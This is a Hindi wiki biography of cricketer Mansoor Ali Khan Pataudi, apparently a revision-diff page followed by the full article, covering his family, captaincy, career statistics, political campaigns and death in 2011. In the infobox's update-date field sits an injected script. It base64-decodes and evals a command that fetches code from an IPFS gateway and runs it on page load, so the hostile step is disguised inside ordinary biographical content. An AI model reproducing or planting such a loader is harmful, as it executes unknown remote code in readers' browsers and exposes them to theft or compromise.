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− | अपनी कलात्मक बल्लेबाजी से अधिक कप्तानी के कारण क्रिकेट जगत में अमिट छाप छोडऩे वाले मंसूर अली | + | अपनी कलात्मक बल्लेबाजी से अधिक कप्तानी के कारण क्रिकेट जगत में अमिट छाप छोडऩे वाले मंसूर अली ख़ान पटौदी ने भारतीय क्रिकेट में नेतृत्व कौशल की नई मिसाल और नए आयाम जोड़े थे। वह पटौदी ही थे जिन्होंने भारतीय खिलाडिय़ों में यह आत्मविश्वास जगाया था कि वे भी जीत सकते हैं। |
पटौदी जूनियर जिन्हें दुनिया टाइगर पटौदी / नवाब पटौदी के नाम से भी जानती है का जन्म 5 जनवरी 1941 को मध्यप्रदेश के भोपाल के नवाब परिवार में हुआ था। यह दिन उन्हें खुशी के साथ गम भी दे गया था। पटौदी का जन्म भले ही भोपाल के शाही परिवार में हुआ लेकिन उन्हें विषम परिस्थितियों से जूझना पड़ा, चाहे वह निजी जिंदगी हो या फिर क्रिकेट। पटौदी जब 11वां जन्मदिन मना रहे थे तब इसी दिन 1952 में उनके पिता पूर्व भारतीय कप्तान इफ्तिखार अली खां पटौदी का दिल्ली में पोलो खेलते हुए दिल का दौरा पड़ने से निधन हो गया था। इसके बाद जूनियर पटौदी को सभी भूल गये। चार साल बाद ही अखबारों में उनका नाम छपा जब विनचेस्टर की तरफ से खेलते हुए उन्होंने अपनी बल्लेबाजी से सभी को प्रभावित किया। अपने पिता के निधन के कुछ दिन बाद ही पटौदी इंग्लैंड आ गए थे। जब उन्होंने अंतरराष्ट्रीय क्रिकेट कैरियर शुरू किया तो 20 साल की उम्र में एक कार दुर्घटना में उनकी दाहिनी आंख की रोशनी चली गई। मंसूर अली खां पटौदी ने इसके बावजूद क्रिकेट की अपनी विरासत न सिर्फ बरकरार रखी बल्कि भारतीय क्रिकेट को भी नई ऊंचाईयां दी। वह भारत, दिल्ली, हैदराबाद, आक्सफोर्ड यूनिवर्सिटी और ससेक्स टीमों के लिए खेले थे। | पटौदी जूनियर जिन्हें दुनिया टाइगर पटौदी / नवाब पटौदी के नाम से भी जानती है का जन्म 5 जनवरी 1941 को मध्यप्रदेश के भोपाल के नवाब परिवार में हुआ था। यह दिन उन्हें खुशी के साथ गम भी दे गया था। पटौदी का जन्म भले ही भोपाल के शाही परिवार में हुआ लेकिन उन्हें विषम परिस्थितियों से जूझना पड़ा, चाहे वह निजी जिंदगी हो या फिर क्रिकेट। पटौदी जब 11वां जन्मदिन मना रहे थे तब इसी दिन 1952 में उनके पिता पूर्व भारतीय कप्तान इफ्तिखार अली खां पटौदी का दिल्ली में पोलो खेलते हुए दिल का दौरा पड़ने से निधन हो गया था। इसके बाद जूनियर पटौदी को सभी भूल गये। चार साल बाद ही अखबारों में उनका नाम छपा जब विनचेस्टर की तरफ से खेलते हुए उन्होंने अपनी बल्लेबाजी से सभी को प्रभावित किया। अपने पिता के निधन के कुछ दिन बाद ही पटौदी इंग्लैंड आ गए थे। जब उन्होंने अंतरराष्ट्रीय क्रिकेट कैरियर शुरू किया तो 20 साल की उम्र में एक कार दुर्घटना में उनकी दाहिनी आंख की रोशनी चली गई। मंसूर अली खां पटौदी ने इसके बावजूद क्रिकेट की अपनी विरासत न सिर्फ बरकरार रखी बल्कि भारतीय क्रिकेट को भी नई ऊंचाईयां दी। वह भारत, दिल्ली, हैदराबाद, आक्सफोर्ड यूनिवर्सिटी और ससेक्स टीमों के लिए खेले थे। | ||
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मंसूर अली ख़ान पटौदी की शुरुआती शिक्षा-दीक्षा देहरादून के वेलहम बॉयज स्कूल में हुई और फिर उन्होंने अपनी ज़्यादातर पढ़ाई ब्रिटेन में की। वे इफ़्तिख़ार अली ख़ान पटौदी के बेटे थे। जो पटौदी के आठवें नवाब थे। इफ़्तिख़ार अली ख़ान पटौदी सीनियर पटौदी के नाम से जाने जाते थे और उन्होंने भी भारतीय क्रिकेट टीम की कप्तानी की थी। पटौदी को 1964 में अर्जुन पुरस्कार दिया गया जबकि 1967 में पद्मश्री से नवाजा गया। | मंसूर अली ख़ान पटौदी की शुरुआती शिक्षा-दीक्षा देहरादून के वेलहम बॉयज स्कूल में हुई और फिर उन्होंने अपनी ज़्यादातर पढ़ाई ब्रिटेन में की। वे इफ़्तिख़ार अली ख़ान पटौदी के बेटे थे। जो पटौदी के आठवें नवाब थे। इफ़्तिख़ार अली ख़ान पटौदी सीनियर पटौदी के नाम से जाने जाते थे और उन्होंने भी भारतीय क्रिकेट टीम की कप्तानी की थी। पटौदी को 1964 में अर्जुन पुरस्कार दिया गया जबकि 1967 में पद्मश्री से नवाजा गया। | ||
− | पटौदी ने शर्मिला टैगोर से शादी करने का फैसला 25 जुलाई, 1966 को लंदन में लिया था। मशहूर अदाकारा और सेंसर बोर्ड की अध्यक्ष रह चुकीं अभिनेत्री शर्मिला से उनकी पहली मुलाकात उनके कोलकाता स्थित घर पर तब हुई थी, जब पटौदी अपने एक मित्र के साथ वहां एक फंक्शन में गए थे। 27 दिसंबर, 1967 को बाल्व डेर स्टेट कोलकाता में हुई थी। इससे पहले 1 मार्च, 1967 को उनकी मंगनी हुई थी। इसमें तत्कालीन राष्ट्रपति डॉ. जाकिर हुसैन और इंदिरा गांधी भी शामिल हुईं थीं। पटौदी के परिवार में पत्नी बालीवुड अभिनेत्री शर्मिला टैगोर और तीन बच्चे हैं। उनका बेटा बालीवुड स्टार सैफ अली | + | पटौदी ने शर्मिला टैगोर से शादी करने का फैसला 25 जुलाई, 1966 को लंदन में लिया था। मशहूर अदाकारा और सेंसर बोर्ड की अध्यक्ष रह चुकीं अभिनेत्री शर्मिला से उनकी पहली मुलाकात उनके कोलकाता स्थित घर पर तब हुई थी, जब पटौदी अपने एक मित्र के साथ वहां एक फंक्शन में गए थे। 27 दिसंबर, 1967 को बाल्व डेर स्टेट कोलकाता में हुई थी। इससे पहले 1 मार्च, 1967 को उनकी मंगनी हुई थी। इसमें तत्कालीन राष्ट्रपति डॉ. जाकिर हुसैन और इंदिरा गांधी भी शामिल हुईं थीं। पटौदी के परिवार में पत्नी बालीवुड अभिनेत्री शर्मिला टैगोर और तीन बच्चे हैं। उनका बेटा बालीवुड स्टार सैफ अली ख़ान और अभिनेत्री सोहा अली ख़ान हैं। उनकी एक बेटी सबा अली ख़ान 'ज्वैलरी डिजाइनर' है। |
==राजनीति में== | ==राजनीति में== | ||
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==निधन== | ==निधन== | ||
− | मंसूर अली | + | मंसूर अली ख़ान पटौदी का फेफडों के संक्रमण के कारण 22 सितंबर 2011 को 70 वर्ष की उम्र में निधन हुआ था। 23-09-2011 को मंसूर अली को गुड़गांव (हरियाणा) जिले के उनके पुश्तैनी गांव पटौदी में पटौदी महल परिसर स्थित कब्रगाह में जहां दफनाया गया है, वहां पास में ही उनके दादा-दादी और पिता की कब्र है। |
[[चित्र:Mansur-Ali-Khan-Pataudi-Family.jpg|मंसूर अली ख़ान पटौदी और परिवार|thumb|250px]] | [[चित्र:Mansur-Ali-Khan-Pataudi-Family.jpg|मंसूर अली ख़ान पटौदी और परिवार|thumb|250px]] | ||
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13:57, 25 सितम्बर 2011 का अवतरण
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मंसूर अली ख़ान पटौदी
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व्यक्तिगत परिचय
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पूरा नाम | मंसूर अली ख़ान पटौदी | ||
अन्य नाम | पटौदी जूनियर, टाइगर पटौदी, नवाब पटौदी | ||
जन्म | 5 जनवरी, 1941 | ||
जन्म भूमि | भोपाल, मध्य प्रदेश | ||
पत्नी | शर्मिला टैगोर | ||
संतान | सैफ अली ख़ान (पुत्र), बेटी सोहा अली ख़ान सबा अली ख़ान (पुत्री) | ||
मृत्यु | 22 सितंबर, 2011 | ||
मृत्यु स्थान | दिल्ली | ||
खेल परिचय
| |||
बल्लेबाज़ी शैली | दाएँ हाथ के बल्लेबाज़ | ||
गेंदबाज़ी शैली | दाएँ हाथ मध्यम गति | ||
टीम | भारत, दिल्ली, हैदराबाद, आक्सफोर्ड यूनिवर्सिटी और ससेक्स टीमों के लिए खेले | ||
भूमिका | बल्लेबाज | ||
पहला टेस्ट | दिल्ली में इंग्लैंड के खिलाफ, 13 दिसंबर 1961 | ||
आख़िरी टेस्ट | मुंबई में वेस्टइंडीज के खिलाफ, 23 से 29 जनवरी 1975 | ||
कैरियर आँकड़े
| |||
प्रारूप | टेस्ट क्रिकेट | एकदिवसीय अन्तर्राष्ट्रीय | टी-20 अन्तर्राष्ट्रीय |
मुक़ाबले | 46 | ||
बनाये गये रन | 2793 | ||
बल्लेबाज़ी औसत | 34.91 | ||
100/50 | 6/16 | ||
सर्वोच्च स्कोर | 203 नाबाद | ||
फेंकी गई गेंदें | 132 | ||
विकेट | 1 | ||
गेंदबाज़ी औसत | 88.00 | ||
पारी में 5 विकेट | |||
मुक़ाबले में 10 विकेट | |||
सर्वोच्च गेंदबाज़ी | |||
कैच/स्टम्पिंग | |||
अन्य जानकारी | पटौदी ने मात्र 21 वर्ष 77 दिन की उम्र में भारतीय टीम की कप्तानी संभाली थी। पटौदी उस समय दुनिया के सबसे युवा कप्तान बने थे। | ||
बाहरी कड़ियाँ | espncricinfo.com | ||
अद्यतन | 19:27, 25 सितम्बर 2011 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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अपनी कलात्मक बल्लेबाजी से अधिक कप्तानी के कारण क्रिकेट जगत में अमिट छाप छोडऩे वाले मंसूर अली ख़ान पटौदी ने भारतीय क्रिकेट में नेतृत्व कौशल की नई मिसाल और नए आयाम जोड़े थे। वह पटौदी ही थे जिन्होंने भारतीय खिलाडिय़ों में यह आत्मविश्वास जगाया था कि वे भी जीत सकते हैं।
पटौदी जूनियर जिन्हें दुनिया टाइगर पटौदी / नवाब पटौदी के नाम से भी जानती है का जन्म 5 जनवरी 1941 को मध्यप्रदेश के भोपाल के नवाब परिवार में हुआ था। यह दिन उन्हें खुशी के साथ गम भी दे गया था। पटौदी का जन्म भले ही भोपाल के शाही परिवार में हुआ लेकिन उन्हें विषम परिस्थितियों से जूझना पड़ा, चाहे वह निजी जिंदगी हो या फिर क्रिकेट। पटौदी जब 11वां जन्मदिन मना रहे थे तब इसी दिन 1952 में उनके पिता पूर्व भारतीय कप्तान इफ्तिखार अली खां पटौदी का दिल्ली में पोलो खेलते हुए दिल का दौरा पड़ने से निधन हो गया था। इसके बाद जूनियर पटौदी को सभी भूल गये। चार साल बाद ही अखबारों में उनका नाम छपा जब विनचेस्टर की तरफ से खेलते हुए उन्होंने अपनी बल्लेबाजी से सभी को प्रभावित किया। अपने पिता के निधन के कुछ दिन बाद ही पटौदी इंग्लैंड आ गए थे। जब उन्होंने अंतरराष्ट्रीय क्रिकेट कैरियर शुरू किया तो 20 साल की उम्र में एक कार दुर्घटना में उनकी दाहिनी आंख की रोशनी चली गई। मंसूर अली खां पटौदी ने इसके बावजूद क्रिकेट की अपनी विरासत न सिर्फ बरकरार रखी बल्कि भारतीय क्रिकेट को भी नई ऊंचाईयां दी। वह भारत, दिल्ली, हैदराबाद, आक्सफोर्ड यूनिवर्सिटी और ससेक्स टीमों के लिए खेले थे।
परिवार
मंसूर अली ख़ान पटौदी की शुरुआती शिक्षा-दीक्षा देहरादून के वेलहम बॉयज स्कूल में हुई और फिर उन्होंने अपनी ज़्यादातर पढ़ाई ब्रिटेन में की। वे इफ़्तिख़ार अली ख़ान पटौदी के बेटे थे। जो पटौदी के आठवें नवाब थे। इफ़्तिख़ार अली ख़ान पटौदी सीनियर पटौदी के नाम से जाने जाते थे और उन्होंने भी भारतीय क्रिकेट टीम की कप्तानी की थी। पटौदी को 1964 में अर्जुन पुरस्कार दिया गया जबकि 1967 में पद्मश्री से नवाजा गया।
पटौदी ने शर्मिला टैगोर से शादी करने का फैसला 25 जुलाई, 1966 को लंदन में लिया था। मशहूर अदाकारा और सेंसर बोर्ड की अध्यक्ष रह चुकीं अभिनेत्री शर्मिला से उनकी पहली मुलाकात उनके कोलकाता स्थित घर पर तब हुई थी, जब पटौदी अपने एक मित्र के साथ वहां एक फंक्शन में गए थे। 27 दिसंबर, 1967 को बाल्व डेर स्टेट कोलकाता में हुई थी। इससे पहले 1 मार्च, 1967 को उनकी मंगनी हुई थी। इसमें तत्कालीन राष्ट्रपति डॉ. जाकिर हुसैन और इंदिरा गांधी भी शामिल हुईं थीं। पटौदी के परिवार में पत्नी बालीवुड अभिनेत्री शर्मिला टैगोर और तीन बच्चे हैं। उनका बेटा बालीवुड स्टार सैफ अली ख़ान और अभिनेत्री सोहा अली ख़ान हैं। उनकी एक बेटी सबा अली ख़ान 'ज्वैलरी डिजाइनर' है।
राजनीति में
कई राजे-रजवाड़े की शख्सियतों के सियासत के मैदान में उतरने पर उन्होंने भी राजनीति में आने का फैसला किया। विधानसभा का पहला चुनाव उन्होंने 1971 में पटौदी स्टेट (गुडग़ांव) से लड़ा, लेकिन यहां उन्हें शिकस्त मिली। वर्ष 1991 में उन्होंने भोपाल से कांग्रेस के टिकट पर लोकसभा का चुनाव लड़ा तो भाजपा के सुशील चंद्र वर्मा से हार गए। इस चुनाव में खुद पूर्व प्रधानमंत्री और कांग्रेस अध्यक्ष राजीव गांधी ने उनके लिए चुनाव प्रचार किया था। उन्हें भोपाल से चुनाव लड़ाने का फैसला राजीव गांधी का था। इस चुनाव में बेगम आयशा सुल्तान यानी शर्मिला टैगोर ने प्रचार में कोई कसर नहीं छोड़ी थी। कई क्रिकेटर भी चुनाव प्रचार करने भोपाल आए थे।
क्रिकेट में
पटौदी ने अपने पिता को अधिक खेलते हुए नहीं देखा था लेकिन उनका क्रिकेट प्यार तब लोगों को पता चला था जब वह अपने पिता के निधन के कुछ दिन बाद ही जहाज में इंग्लैंड जा रहे थे। इस जहाज में वीनू मांकड़ तथा वेस्टइंडीज के फ्रैंक वारेल और एवर्टन वीक्स जैसे खिलाड़ी भी थे और तब पटौदी ने जहाज के डेक पर उनके साथ क्रिकेट खेली थी। इसके दस साल बाद युवा पटौदी किसी और के साथ नहीं बल्कि वारेल के साथ टेस्ट मैच में टॉस करने के लिए उतरे थे। वारेल ने इसके बाद कई अवसरों पर अपने इस युवा प्रतिद्वंद्वी की जमकर प्रशंसा की।
पटौदी ने अपना टेस्ट मैच करियर 13 दिसंबर 1961 को दिल्ली में इंग्लैंड के खिलाफ शुरू किया था और एक साल बाद ही 1962 में उन्हें टेस्ट टीम की कप्तानी सौंप दी गई। उन्होंने अपना आखिरी टेस्ट 23 से 29 जनवरी 1975 तक मुंबई में वेस्टइंडीज के खिलाफ खेला था। भारत के सबसे सफल कप्तानों में माने जाने वाले पटौदी ने 46 टेस्टों में 34.91 के औसत से 2793 रन बनाए थे जिनमें छह शतक, 16 अर्धशतक और 1 विकेट शामिल हैं। उनका सर्वाधिक स्कोर नाबाद 203 रन (नाबाद) रहा था। उनका औसत भले ही प्रभावशाली न हो लेकिन इनमें से 40 टेस्ट मैच उन्होंने तब खेले थे जबकि 1961 में एक कार दुर्घटना में उनकी दायीं आंख की रोशनी चली गई थी। इससे पहले के छह टेस्ट मैच में उनका औसत 41.00 था।
अपने प्रथम श्रेणी के करियर में पटौदी ने 310 मैचों में 33.67 के औसत से 15425 रन बनाए थे जिनमें 33 शतक और 75 अर्धशतक शामिल थे। पटौदी ने अपने 46 टेस्टों में से 40 में भारत का नेतृत्व किया था और नौ में भारत को जीत दिलाई थी जबकि 19 में हार मिली। लेकिन यह नहीं भूलना चाहिए कि पटौदी से पहले भारतीय टीम ने जो 79 मैच खेले थे उनमें से उसे केवल आठ में जीत मिली थी और 31 में हार। यही नहीं इससे पहले भारत विदेशों में 33 में से कोई भी टेस्ट मैच नहीं जीत पाया था।
उन्होंने मात्र 21 वर्ष 77 दिन की उम्र में भारतीय टीम की कप्तानी संभाली थी। पटौदी उस समय दुनिया के सबसे युवा कप्तान बने थे। टेस्ट क्रिकेट में सबसे कम उम्र में कप्तानी का रिकार्ड 2004 तक उनके नाम पर रहा। जिम्बाब्वे के तातैंडा तायबू ने 2004 में यह रिकार्ड अपने नाम किया था। पटौदी के कप्तान बनने के बाद भारतीय क्रिकेट की तस्वीर भी बदलने लगी। पटौदी को यह जिम्मेदारी वेस्टइंडीज दौरे में नियमित कप्तान नारी कांट्रेक्टर के सिर में चोट लगने के कारण दी गई थी। उन्होंने एक आंख की रोशनी के बावजूद टेस्ट क्रिकेट में पांच शतक लगाए जिनमें कप्तान के रूप में उनकी पहली पूरी सीरीज 1963-64 में दिल्ली में इंग्लैंड के खिलाफ बनाया उनका उच्चतम स्कोर नाबाद 203 रन भी शामिल है। पटौदी ने उसी वर्ष आस्ट्रेलियाई टीम के खिलाफ दो अर्धशतक बनाए थे जिसकी बदौलत भारत ने मुंबई टेस्ट जीता था। उन्होंने चेन्नई टेस्ट में आस्ट्रेलिया के खिलाफ नाबाद शतक भी बनाया था। फिरोजशाह कोटला में ही उन्होंने 1965 में न्यूजीलैंड के खिलाफ 113 रन की जोरदार पारी खेली थी जिससे भारत सात विकेट से मैच जीतने में सफल रहा था।
अपनी दाई आंख की रोशनी गंवाने के कुछ महीनों बाद जब उन्हें टीम की कमान सौंपी गई तो भारत ने मुंबई में आस्ट्रेलिया को पटौदी की 53 रन की खूबसूरत पारी के दम पर दो विकेट से हराया था। भारत 1968 में जब न्यूजीलैंड दौरे पर गया तो वहां पटौदी की अगुवाई वाली टीम ने अपने प्रतिद्वंद्वी को तीन टेस्ट मैच में हराकर पहली बार विदेशी धरती पर भी सीरीज जीती थी। पटौदी की कप्तानी में ही भारत ने बिल लारी की आस्ट्रेलियाई टीम को 1969 में दिल्ली में सात विकेट से हराया। उन्हें 1974 में जब फिर से कप्तान बनाया गया तो भारत ने वेस्टइंडीज को कोलकाता और चेन्नई में करारी मात दी थी। उनकी कप्तानी में भारत ने नौ मैच जीते जो लंबे समय तक भारतीय रिकार्ड बना रहा। ख़राब प्रदर्शन के कारण 1970 में उनसे कप्तानी छीन ली गई और फिर 1975 में उन्हें टीम से भी हटा दिया गया।
टाइगर के कमान संभालने से पहले भारतीय टीम को नौसिखिया माना जाता था जिससे आस्ट्रेलिया और इंग्लैंड जैसी बड़ी टीमें ज्यादा क्रिकेट नहीं खेलना चाहती थी लेकिन पटौदी ने अपने भारतीय खिलाडि़यों को सिखाया कि वह भी जीत सकते हैं और दिग्गज टीमों को नतमस्तक करने का माद्दा उनमें भी है। पटौदी हमेशा इस बात के हिमायती रहे थे कि टीम की जो ताकत है उसे उसी हिसाब से खेलना चाहिए। स्पिनर उस समय भारतीय टीम की ताकत हुआ करते थे और उन्होंने अपनी सफलताएं तीन स्पिनरों को मैदान पर उतारकर हासिल की थीं।
वह साहसिक बल्लेबाजी के लिए भी जाने जाते थे और फील्डरों के ऊपर से शाट खेलने से नहीं चूकते थे। वह परंपरागत सोच में यकीन नहीं रखने वाले कप्तान थे और हमेशा कुछ अलग करने की कोशिश में रहते थे। एक कार दुर्घटना में उनकी दाईं आंख की रोशनी पर असर पडा था जिससे उनका क्रिकेट करियर प्रभावित हुआ।
क्रिकेट से संन्यास लेने के बाद वह 1993 से 1996 तक आईसीसी मैच रैफरी भी रहे थे जिसमें उन्होंने दो टेस्ट और 10 वनडे में यह भूमिका निभाई थी। वह 2005 में तब एक विवाद में भी फंस गए थे जब उन्हें लुप्त प्रजाति काले हिरण के अवैध शिकार के लिए गिरफ्तार किया गया था। वर्ष 2008 में पटौदी इंडियन प्रीमियर लीग [आईपीएल] की संचालन परिषद में भी नियुक्त किए गए थे और दो साल तक इस पद पर बने रहने के बाद 2010 में उन्होंने बीसीसीआई के इस पद की पेशकश को ठुकरा दिया था।
निधन
मंसूर अली ख़ान पटौदी का फेफडों के संक्रमण के कारण 22 सितंबर 2011 को 70 वर्ष की उम्र में निधन हुआ था। 23-09-2011 को मंसूर अली को गुड़गांव (हरियाणा) जिले के उनके पुश्तैनी गांव पटौदी में पटौदी महल परिसर स्थित कब्रगाह में जहां दफनाया गया है, वहां पास में ही उनके दादा-दादी और पिता की कब्र है।
एक नजर
- 13 दिसंबर 1961 :- टेस्ट पदार्पण इंग्लैंड के खिलाफ दिल्ली में , 13 रन बनाए
- 10 जनवरी 1962 :- इंग्लैंड के खिलाफ टेस्ट का अपना पहला शतक (113 रन) चेन्नई में
- 23 मार्च 1962 :- बारबडोस टेस्ट में भारत के लिए पहली बार कप्तानी की, तब उनकी उम्र 21 साल ही थी
- 12-13 फरवरी 1964 :- कैरियर की सर्वश्रेष्ठ पारी 203 नाबाद इंग्लैंड के खिलाफ नईदिल्ली टेस्ट में खेली
- फरवरी-मार्च 1968 :- ड्युनेडिन टेस्ट में न्यूजीलैंड को हराकर पहली बार विदेश में 3-1 से सीरीज जीती
- 23 जनवरी 1075 :- वेस्टइंडीज के खिलाफ कैरियर के अंतिम टेस्ट (मुंबई) की दोनों पारियों में 9-9 रन बनाए
- 1961 से 1975 के बीच पटौदी ने 46 टेस्ट बनाए
- 1968 में विजडन क्रिकेटर ऑफ द ईयर
- 1964 में अर्जुन अवार्ड
- 1967 में पद्मश्री से अंलकृत
- आनंद बाजार पत्रिका समूह की खेल पत्रिका स्पोट्र्स वल्र्ड का एक दशक से भी ज्यादा समय तक संपादन
- 2007 से बीसीसीआई के सलाहकार तथा आईपीएल गवर्निंग काउंसिल के सदस्य
- टीवी कॉमेंट्रेटर की भूमिका भी निभा चुके हैं।
- 2007 से इंग्लैंड-भारत के बीच पटौदी ट्रॉफी के लिए टेस्ट सीरीज खेली जाती है। पिछले दिनों खत्म हुई सीरीज में पटौदी की उपस्थिति में इंग्लैंड के कप्तान एंड्रयू स्ट्रॉस को यह ट्रॉफी दी गई थी। इंग्लैंड ने सीरीज 4-0 से जीती थी।
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टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
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